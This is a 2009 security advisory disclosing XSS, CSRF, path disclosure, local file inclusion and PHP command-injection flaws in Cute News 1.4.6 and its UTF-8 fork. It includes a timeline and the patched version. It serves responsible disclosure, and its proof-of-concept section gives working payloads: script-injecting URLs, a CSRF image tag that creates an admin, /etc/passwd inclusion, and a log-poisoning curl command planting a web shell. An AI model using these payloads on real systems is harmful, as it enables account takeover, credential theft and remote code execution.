[MORNINGSTAR-2009-02] Multiple security issues in Cute News and UTF-8 Cute News Nov 10 2009 01:27PM
Andrew Horton (andrew morningstarsecurity com)
MorningStar Security - Advisory
http://www.morningstarsecurity.com/

Multiple security issues in Cute News and UTF-8 Cute News

1. Advisory Information
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Title: Multiple security issues in Cute News and UTF-8 Cute News
Advisory ID: MORNINGSTAR-2009-02
Advisory URL: http://www.morningstarsecurity.com/advisories/
Release Type: Co-ordinated, responsible disclosure

2. Vulnerability Information
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Class: Cross Site Request Forgery, Cross Site Scripting, File Path
Disclosure, Local File Inclusion, Authentication Bypass and PHP Command
Injection
Remotely Exploitable: Yes
Locally Exploitable: No

3. Vulnerability Description
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Cute News is a powerful and easy to use news management system that uses
flat files to store its database. It supports commenting, archives,
search function, file upload management, backup & restore, IP banning,
flood protection and more. It's available for free from
http://www.cutephp.com/. Cute News is at the time of writing, the second
most popular script on www.hotscripts.com. UTF-8 CuteNews is a current
fork of the Cute News project which is designed to improve security and
is available for free from http://korn19.ch/coding/utf8-cutenews/

Multiple vulnerabilities exist in Cute News and UTF-8 CuteNews. These
vulnerabilities can be exploited to steal user credentials, disclose
file contents, disclose the file path of the application and execute
arbitrary commands.

Cute News appears to be abandoned since September 2008. A local file
inclusion (LFI) vulnerability was discovered by athos on January 9th,
2009 for which no patch has been made.

4. Vulnerable Packages
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Cute News 1.4.6 and Cute News UTF-8 are vulnerable. Earlier versions
might be effected.

5. Non-vulnerable Packages
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Cute News UTF-8b.

6. Vendor Information, Solutions and Workarounds
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Upgrade to Cute News UTF-8 version 8b.
Lucas Jacques, the maintaner of Cute News UTF-8 was very helpful.

7. Credits
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These vulnerabilities were discovered and researched by Andrew Horton
(urbanadventurer) from MorningStar Security.

8. Technical Description / Proof of Concept
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8.1 Introduction

Many past advisories have been published for Cute News. An unpatched LFI
exploit was published in January 2009.

Attackers without a registered account or with a comment level account
can exploit cross site scripting (XSS) to steal cookies from other
users, cross site request forgery (CSRF) vulnerability to execute
administrator functions including adding a new administrator account and
can exploit a file path disclosure vulnerability.

Attackers with an administrator account, possibly gained by using the
exploits described above can exploit local file inclusion and command
execution vulnerabilities to execute arbitrary commands. Journalist and
Editor level accounts can edit any article. Administrator and editor
level accounts can also exploit a partial file disclosure vulnerability
to view all usernames.

Cute News suffers from other security failures such as:

* User registration, in register.php the password input field should be
shown as stars to prevent shoulder surfing. This is fixed in UTF-8b.

* Email addresses are exposed by the news article template. The email
address should be obsfucated to prevent spam harvesting. There is an
option in both 1.4.6 and UTF-8b versions to hide the email address.

* Insecure cookie handling and session handling. Users are authenticated
with each request by the username and password hash in the cookie. So
the password is not known to authenticate.
Eg. Cookie: username=user2; md5_password=7e58d63b60197ceb55a1c487989a3720
In the UTF-8 fork the password cookie is salted with a prefix of
'FqZm$()G_~<' and a suffix of the users remote IP address. It is worth
noting that an XSS attack will capture this cookie, and that the
password can be cracked with John the Ripper using a custom rule because
both the prefix and suffix will be known to the attacker.

A XSS bug was reported by DeltahackingTEAM on 2008-11-07 which I am
unable to reproduce. The details are:
Exploit:
http://www.example.com/register.php?config_skin=../../../../etc/passwd%0
0
Link: http://www.securityfocus.com/bid/32142/info

UTF-8 Cute News has not been reviewed except to check whether if it is
effected by vulnerabilities found in Cute News 1.4.6.

8.2 Reflected Cross Site Scripting in index.php
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Severity: Medium
Requires: Register globals to be on
The victim user must be logged out
Magic quotes must be off

8.2.1 Proof of concept exploit

http://test/cutenews/index.php?lastusername='%3E%3Cscript%3Ealert(/xss/)
;%3C/script%3E

8.2.2 Vulnerable packages

1.4.6

8.2.3 Non-Vulnerable packages

UTF-8, UTF-8b

8.3 Reflected Cross Site Scripting in index.php
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Severity: Medium
Requires: Register globals to be on
The victim user must be logged in
Magic quotes must be off
Commenter level or higher user to be logged in

8.3.1 Proof of concept exploit

http://localhost/test/cutenews/index.php?mod=%3Cscript%3Ealert(/xss/)%3C
/script%3E

8.3.2 Vulnerable packages

1.4.6

8.3.3 Non-Vulnerable packages

UTF-8, UTF-8b

8.4 Reflected Cross Site Scripting in register.php
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Severity: Medium
Requires: Register globals to be on
Magic quotes must be off
User registrations must be allowed

8.4.1 Proof of concept exploit

http://test/cutenews/register.php?result=%3Cscript%3Ealert(/XSS/);%3C/sc
ript%3E

8.4.2 Vulnerable packages

1.4.6, UTF-8

8.4.3 Non-Vulnerable packages

UTF-8b

8.5 Reflected Cross Site Scripting in search.php with user
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Severity: Medium
Requires: Register globals to be on
The victim user must be logged in
Magic quotes must be off

8.5.1 Proof of concept exploit

http://test/cutenews/search.php?user=%22%3E%3Cscript%3Ealert(/xss/);%3C/
script%3E

8.5.2 Vulnerable packages

1.4.6, UTF-8

8.5.3 Non-Vulnerable packages

UTF-8b

8.6 Reflected Cross Site Scripting in search.php with title
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Severity: Medium
Requires: Register globals to be on
The victim user must be logged in
Magic quotes must be off

8.6.1 Proof of concept exploit

http://test/cutenews/search.php?title=%22%3E%3Cscript%3Ealert(/xss/);%3C
/script%3E

8.6.2 Vulnerable packages

1.4.6

8.6.3 Non-Vulnerable packages

UTF-8, UTF-8b

8.7 Reflected Cross Site Scripting in editnews module
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Severity: Medium
Requires: Register globals to be on
The victim user must be logged in
Magic quotes must be off
Administrator level user

8.7.1 Proof of concept exploit

http://localhost/test/cutenews/index.php?mod=editnews&action=list&cat_ms
g=%3Cscript%3Ealert(/xss/);%3C/script%3E
http://localhost/test/cutenews/index.php?mod=editnews&action=list&source
_msg=%3Cscript%3Ealert(/xss/);%3C/script%3E
http://localhost/test/cutenews/index.php?mod=editnews&action=list&postpo
ned_selected=%3E%3Cscript%3Ealert(/xss/);%3C/script%3E
http://localhost/test/cutenews/index.php?mod=editnews&action=list&unappr
oved_selected=%3E%3Cscript%3Ealert(/xss/);%3C/script%3E
http://localhost/test/cutenews/index.php?mod=editnews&action=list&news_p
er_page=%3Cscript%3Ealert(/xss/);%3C/script%3E

8.7.2 Vulnerable packages

1.4.6, UTF-8

8.7.3 Non-Vulnerable packages

UTF-8b

8.8 Stored Cross Site Scripting in news comments
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Severity: Medium
Requires: Magic quotes must be off

8.8.1 Proof of concept exploit

Leave a comment with the following code:
Exploit for version 1.4.6
[link=javascript://%0adocument.write('<script>alert(/xss/)</script>')]fu
nny
pictures[/link]

Exploit for version UTF-8
[link=javascript://%0adocument.write('<img
src="javascript:alert(/xss/);">')]funny pictures[/link]

This will show as funny pictures and when a user clicks on it, the
javascript will execute. Not that the link text cannot include dots.

8.8.2 Vulnerable packages

1.4.6, UTF-8

8.8.3 Non-Vulnerable packages

UTF-8b. The [link=] tag has been removed from UTF-8b.

8.9 Stored Cross Site Scripting in news articles
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Severity: Medium
Requires: The victim user must be logged in
Magic quotes must be off
Journalist, editor or admin access. Not commenter.
Admin to approve the article

8.9.1 Proof of concept exploit

http://localhost/test/cutenews/index.php?mod=addnews&action=addnews

A user can include script tags in the body of a news article then all
users who view this article can have their cookies stolen.
A journalist user needs the admin to approve the article without
noticing the included script tags, while an editor user doesn't need
approval.

8.9.2 Vulnerable packages

1.4.6, UTF-8, UTF-8b.

8.9.3 Non-Vulnerable packages

None

8.9.4 Vendor Comment

The administrator must ensure that the users who can post news are
trustworthy.

8.10 Edit Any Article and Moderation Bypass
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Severity: Medium
Requires: Magic quotes must be off
Journalist, editor or admin access. Not commenter.

The allows a journalist or editor level user to edit any article.

By default a journalist user cannot edit his own news articles. Using
this method, a journalist can submit an article, have it approved by the
admin, then later change it to include stored XSS.

8.10.1 Proof of concept exploit

Article IDs can be found in the links from this page:
http://localhost/test/cutenews/index.php?mod=editnews&action=list

Change id parameter to the id of the article you wish to change.

http://localhost/test/cutenews/index.php?action=doeditnews&mod=editnews&
title=<script>alert(/xss/);</script>&short_story=A
new
article&full_story=&id=1255233147&source=&if_convert_new_lines=yes&if_us
e_html=yes

8.10.2 Vulnerable packages

1.4.6, UTF-8

8.10.3 Non-Vulnerable packages

UTF-8b

8.10.4 Vendor Comment

The administrator must ensure that the users who can post news are
trustworthy.

8.11 File Path Disclosure in search.php
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Severity: Low

8.11.1 Proof of concept exploit

File Path Disclosure
Warning: mktime() expects parameter 5 to be long, string given in
/var/www/test/cutenews/search.php on line 176

http://test/cutenews/search.php?dosearch=yes&from_date_day=a&from_date_m
onth=5&from_date_year=2003&to_date_day=4&to_date_month=5&to_date_year=20
10

8.11.2 Vulnerable packages

1.4.6, UTF-8

8.11.3 Non-Vulnerable packages

UTF-8b

8.12 Cross Site Request Forgery
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Severity: High
Requires: Admin user to be logged in

There is no protection against CSRF attacks. A user can trick the admin
into making another admin just by viewing html.

Works with a GET request:
http://localhost/test/cutenews/index.php?regusername=a&regpassword=a®
nickname=a&regemail=a%40a.com&reglevel=1&action=adduser&mod=editusers

8.12.1 Proof of concept exploit

1) Include the following image code in a webpage:
<img
src="http://localhost/test/cutenews/index.php?regusername=a&regpassword=
a&regnickname=a&regemail=a%40a.com&reglevel=1&action=adduser&mod=edituse
rs">
2) Leave a comment on a news item asking the admin to view that webpage
3) if they look at the page while they're logged in then the a new admin
user 'a', with a password of 'a' will be created.

8.12.2 Vulnerable packages

1.4.6, UTF-8

8.12.3 Non-Vulnerable packages

UTF-8b

8.13 PHP Code Injection for categories module
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Severity: Medium
Requires: Administrator level account

8.13.1 Proof of concept exploit

1) Browse to http://localhost/test/cutenews/index.php?mod=categories
2) Add a category with <? phpinfo(); ?> as the Icon URL or Category
Access field.
3) category.db.php will have a line such as: 3|foo|<?phpinfo();?>|0|||
4) Browse to category.db.php and your injected PHP code will have executed

http://localhost/test/cutenews-utf8/data/category.db.php

8.13.2 Vulnerable packages

1.4.6
UTF-8 has protection for the category and icon url fields. The category
access field in injectable.

8.13.3 Non-Vulnerable packages

UTF-8b Contains an error on this page with the token functionality.

8.14 Local File Inclusion in options module
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Severity: Medium
Requires: Administrator level account
Magic quotes must be off for %00 file name truncation
technique

This can be used to view any file or execute abitrary PHP code.

8.14.1 Proof of concept exploit

To view the /etc/passwd file
1) Browse to
http://localhost/test/cutenews/index.php?mod=options&action=syscon
2) Change the skin variable on the System Configuration
3) Intercept the POST and change the form variables, i.e.
save_con%5Bskin%5D=../../../../../../../../../../../../../../../../etc/p
asswd%00
4) Load any page and the /etc/passwd will be included

To execute abitrary code
1) Browse to
http://localhost/test/cutenews/index.php?mod=options&action=syscon
2) Change the skin variable on the System Configuration
3) Intercept the POST and change the form variables, i.e.
save_con%5Bskin%5D=../../../../../../../../../../../../../../../../proc/
self/fd/1
4) Try including /proc/self/fd/1 to /proc/self/fd/100 until you find the
web server logs
5) Inject a cmd shell into the logs by requesting a page and including
"<? phpcmd ?>" as a User Agent
6) Load any page and your injected PHP command will execute

Eg.
$ curl -u "<? passthru($_REQUEST['cmd']); ?>"
http://localhost/test/cutenews/
Load any page, and your code will execute
$ curl http://localhost/test/cutenews/index.php?cmd=id

8.14.2 Vulnerable packages
1.4.6

8.14.3 Non-Vulnerable packages
UTF-8, UTF-8b

8.15 Partial File Disclosure in editnews module
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Severity: Low
Requires: Editor or Administrator level account
Magic quotes must be off for %00 file name truncation
technique

This can be used to view the first column of any pipe delimited file. An
editor level or higher user can get a list of usernames from the
users.db.php file.

8.15.1 Proof of concept exploit

http://localhost/test/cutenews/index.php?mod=editnews&action=list&source
=../users.db.php%00

8.15.2 Vulnerable packages
1.4.6

8.15.3 Non-Vulnerable packages
UTF-8, UTF-8b

8.16 Partial File Disclosure in editnews module
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Severity: Medium
Requires: Editor or Administrator level account
Magic quotes must be off for %00 file name truncation
technique

An administrator level user can get full user details including password
hashes.

8.16.1 Proof of concept exploit

http://localhost/test/cutenews/index.php?mod=editnews&action=editnews&id
=1255182669&source=../users.db.php%00

8.16.2 Vulnerable packages
1.4.6

8.16.3 Non-Vulnerable packages
UTF-8, UTF-8b

8.17 PHP Command Injection in ipban module
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Severity: Medium
Requires: Administrator level account

Reported by athos, staker[at]hotmail[dot]it and is unpatched.

8.17.1 Proof of concept exploit

http://localhost/test/cutenews/index.php?add_ip=<?phpinfo();?>&action=ad
d&mod=ipban
load http://localhost/test/cutenews/data/ipban.php to see the result

8.17.2 Vulnerable packages
1.4.6

8.17.3 Non-Vulnerable packages
UTF-8, UTF-8b

9. Report Timeline
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11th October 2009 - Andrew Horton at MorningStar Security notifies
Georgi at flexer at cutephp dot com
11th October 2009 - Andrew Horton at MorningStar Security notifies the
UTF-8 Cute News fork
17th October 2009 - Posted a public request for co-ordination on the
forum at cutephp.com
18th October 2009 - Lucas Jacques, maintainer of UTF-8 Cute News
confirms bugs and begins patching
9th November 2009 - Lucas Jacques releases patched version UTF-8b Cute
News on http://korn19.ch/coding/utf8-cutenews/
10th November 2009 - Andrew Horton at MorningStar Security checks that
the patched version is no longer vulnerable
11th November 2009 - Morningstar Security publishes this adviosry

10. About Morning Star Security
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MorningStar Security is an IT security consulting firm in Christchurch,
New Zealand.

The freshest blend of IT security news is available for your daily
consumption at http://www.morningstarsecurity.com/news/

11. Disclaimer & Copyright
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The contents of this advisory are copyright (c) 2009 MorningStar
Security, and may be distributed freely provided that and proper credit
is given.

<a href="http://www.morningstarsecurity.com/">MorningStar Security</a>

--
Cheers,

Andrew Horton

MorningStar Security
Mobile +64 (0) 272 646 959
Web www.morningstarsecurity.com

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